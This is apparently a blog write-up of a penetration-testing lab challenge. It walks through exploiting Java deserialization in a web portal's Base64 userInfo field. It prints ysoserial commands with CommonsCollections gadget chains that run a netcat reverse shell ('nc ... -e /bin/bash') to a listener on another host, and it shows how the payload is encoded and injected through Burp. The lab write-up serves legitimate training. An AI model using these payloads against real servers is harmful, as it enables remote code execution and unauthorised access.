V.9 (Part 11) – Token Portal

Categories Tutorials

So, today I’m going to talk about Portal Token.
This one, was a really hard challenge, and I saw myself doing it the 2nd time, because I didn’t commented the 1st time.
That was also good, because I refreshed my ideas, and I’m actually doing it as I write this tutorial, today.

So, lets get things started:

As always we do our initial scan to the portal server:

d.nash@tl9-ssh:~$ nmap

Starting Nmap 6.00 ( ) at 2016-09-21 10:56 MSK
Nmap scan report for
Host is up (0.079s latency).
Not shown: 998 closed ports
22/tcp   open  ssh
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 4.89 seconds

So we have two open ports, 22 (ssh) and 8080 (http-proxy).
My first engage was to try connect via ssh using the already known username and passwords combination, but got the following message:

Permission denied (publickey).

We dig up to try bypass this, but didn’t came up with nothing useful, so I engaged into the next port, the proxy port.

When we access the page we see a planned vacations list:vmware_2016-09-21_10-27-07
There was nothing useful here, so I start to try enumerate what could be in this website, and came up with a login page portal:
After some username trial and errors, we succeeded with the username b.muncy user/pass combination.
But nothing happened, it just sent us to the same planned vacations page, I reviewed, like 2-3 times to make sure there wasn’t any change.

So I felt myself on a road, that had two paths, and I decided to stick with the http-proxy page, and analyze it a little further. I started by opening Burp Suite, and do the login process using burp, and something triggered my attention when the user tries to login.
We did some tests, and after a while, we noticed there was a string in the “raw” tab, with a userInfo information, and that string looked like Base64 encrypted.vmware_2016-09-21_10-45-57
So, we sent this string to decoder, and decrypted it.
The result was:
This means that we have here our vulnerability. This webapp, is vulnerable to Java deserialization attacks.

After some research we came up with a very good tutorial that documented exactly what we were trying to do:
After read and study how to use this vulnerability we decided to download and install Java Serial Killer to Burp. (download here)
We then, send the raw of the proxy intercept to Java Serial Killer:
Now we need to create our payload. Since we want a reverse shell, lets invoke a nc shell.
To do so, we do the following:

  • Encode: CommonsCollections4
  • Command: nc -nv 25432 -e /bin/bash

Note that you have to select what you want to substitute. (everything between the ” in userinfo)
We also need to encode as Base64, as it needs to be in the same format as the original request.
And then, hit Serialize.

Now we set up a listener in the ssh server (

d.nash@tl9-ssh:~$ nc -nlvp 25432
listening on [any] 25432 ...

And lets inject the new “userInfo” in our proxy intercept and see the final result.
We don’t get any shell. And it seams that collections4 doesn’t do what we need to, throwing up an exception report:
So, maybe it’s not this collection and doing some research we decide to test the same program refereed on the previous link, the ysoserial.
To learn how it works, we downloaded the last jar file
Lets give it a try:

$java -jar ysoserial-0.0.4-all.jar CommonsCollections4 'nc -nv 25432 -e /bin/bash'

This created a strange output in part like this:
So, it seams that it works, but we need to encode it in base64. So this is what we do:

$ java -jar ysoserial-0.0.4-all.jar CommonsCollections4 'nc -nv 25432 -e /bin/bash' > payload_portal
$ base64 payload_portal > payload_portal_encoded
$ cat payload_portal_encoded 

So we test this again, to check if we get the same result as before using the Java Serial Killer, and guess what, we do.
Ok, it seams we are on the right path, but for some reason it’s not working properly. So we decided to test the other available payloads types, like BeanShell1, CommonsCollections1 and 2, etc etc.

Nothing worked, we then went to Github, and found out that there is more collections at
As such we downloaded the git repository

$ git clone

Doing a search for compile ysoserial, we came across the following url:
Here we saw that we might have another version to use, the ysoserial-0.0.5-SNAPSHOT-all.jar and they also mention a pom.xml file (that one we have in our ysoserial folder).
Having a look at that, seams it corresponds to the 0.0.5-SNAPSHOT version.
So we might need to compile this, with some trials na errors, we managed to sort it out using two commands:

$ mvn compile package
$ mvn clean install -DskipTests

This created a 0.0.5-SNAPSHOT folder in


So, now, lets try use this one, but for example with CommonsCollections5:

:~/.m2/repository/ysoserial/ysoserial/0.0.5-SNAPSHOT# java -jar ysoserial-0.0.5-SNAPSHOT.jar CommonsCollections5 'nc -nv 25432 -e /bin/bash' > payload_portal
root@machine:~/.m2/repository/ysoserial/ysoserial/0.0.5-SNAPSHOT# base64 payload_portal > payload_portal_encoded

Now we open the file, and get back into the Burp Suite.
Send the last get method to repeater, and substitute the userInfo with the one you just did. (don’t forget to open a listener in ssh server)

And AMAZINGLY we succeed \o/
So, now we search for the token, and there it is, on the / directory

$cat token.txt

This one was a long post. As I felt it would be good to keep it in the same, to don’t lose track of what was being done and why.

No Comments

Leave a Reply

Your email address will not be published. Required fields are marked *